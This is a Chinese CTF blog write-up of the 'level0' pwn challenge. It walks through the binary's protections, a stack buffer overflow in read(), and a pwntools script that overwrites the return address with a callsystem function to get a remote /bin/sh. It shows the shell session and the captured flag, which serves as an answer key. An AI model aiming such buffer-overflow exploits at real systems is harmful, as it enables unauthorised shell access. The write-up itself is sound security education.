Xman pwn level0 writeup

原创

tuck3r 于 2019-08-23 13:35:42 发布 1314 收藏 1
分类专栏： CTF pwn 文章标签： Xman pwn level0 writeup

题目描述：

菜鸡了解了什么是溢出，他相信自己能得到shell

解题思路：

1、拿到文件，首先查看一下文件类型：

```
tucker@ubuntu:~/pwn$ file level0
level0: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/l, for GNU/Linux 2.6.32,
BuildID[sha1]=8dc0b3ec5a7b489e61a71bc1afa7974135b0d3d4, not stripped
```

是64bit的ELF文件

我们查看下文件的详细信息：

```
tucker@ubuntu:~/pwn$ checksec level0
[*] '/home/tucker/pwn/level0'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

程序关闭了PIE和canary，这就使得我们的溢出可以变得简单。

2、打开IDA，看一下，发现程序很简单，溢出点很明显：

```
ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]

  return read(0, &buf, 0x200uLL);
}
```

此处栈帧如下：

因此我们可以使buf溢出，填充rip为我们需要的地址，从而执行我们需要的代码。

3、在IDA中查找字符串，我们发现刚好有/bin/sh，追踪进去发现有一个callsystem函数，因此我们可以覆盖rip为callsystem函数的地址，

```
.text:0000000000400596                 public callsystem
.text:0000000000400596 callsystem      proc near
.text:0000000000400596 ; __unwind {
.text:0000000000400596                 push    rbp
.text:0000000000400597                 mov     rbp, rsp
.text:000000000040059A                 mov     edi, offset command ; "/bin/sh"
.text:000000000040059F                 call    _system
.text:00000000004005A4                 pop     rbp
.text:00000000004005A5                 retn
.text:00000000004005A5 ; } // starts at 400596
.text:00000000004005A5 callsystem      endp
.text:00000000004005A5
```

利用代码如下：

```
# level0.py

from pwn import *

elf = ELF("./level0")
addr = elf.symbols['callsystem']

# a = process("./level0")
a = remote("111.198.29.45", "33997")

a.recvuntil("Hello, World\n")
a.sendline("a"*0x88 + p64(addr))
a.interactive()
```

当然，上面的addr完全可以换成0x400596

我们执行上面代码：

```
tucker@ubuntu:~/pwn$ python level0.py
[*] '/home/tucker/pwn/level0'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 111.198.29.45 on port 33997: Done
[*] Switching to interactive mode
$ ls
bin
dev
flag
level0
lib
lib32
lib64
$ cat flag
cyberpeace{a21ed6b827839f02b54e29af2ba589ee}
$
```

即得到了flag。